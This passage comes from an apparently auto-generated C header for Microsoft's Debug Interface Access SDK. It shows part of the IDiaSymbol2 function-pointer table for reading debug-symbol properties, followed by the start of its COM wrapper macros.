[id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol2 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol2 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol2 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol2 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol2 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol2 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol2 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol2 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol2 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol2 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol2 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol2 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol2 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol2 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol2 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol2 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol2 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); END_INTERFACE } IDiaSymbol2Vtbl; interface IDiaSymbol2 { CONST_VTBL struct IDiaSymbol2Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol2_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol2_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol2_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol2_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol2_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol2_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol2_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol2_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol2_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol2_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol2_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol2_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol2_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol2_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol2_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol2_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol2_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol2_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol2_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol2_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol2_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol2_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol2_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol2_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol2_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol2_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol2_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol2_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol2_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol2_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol2_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol2_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol2_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol2_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol2_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol2_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol2_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol2_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol2_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol2_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol2_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol2_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol2_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol2_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol2_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol2_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol2_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol2_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol2_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol2_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol2_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol2_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol2_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol2_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol2_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol2_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol2_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol2_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol2_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol2_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol2_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol2_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol2_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol2_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol2_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define 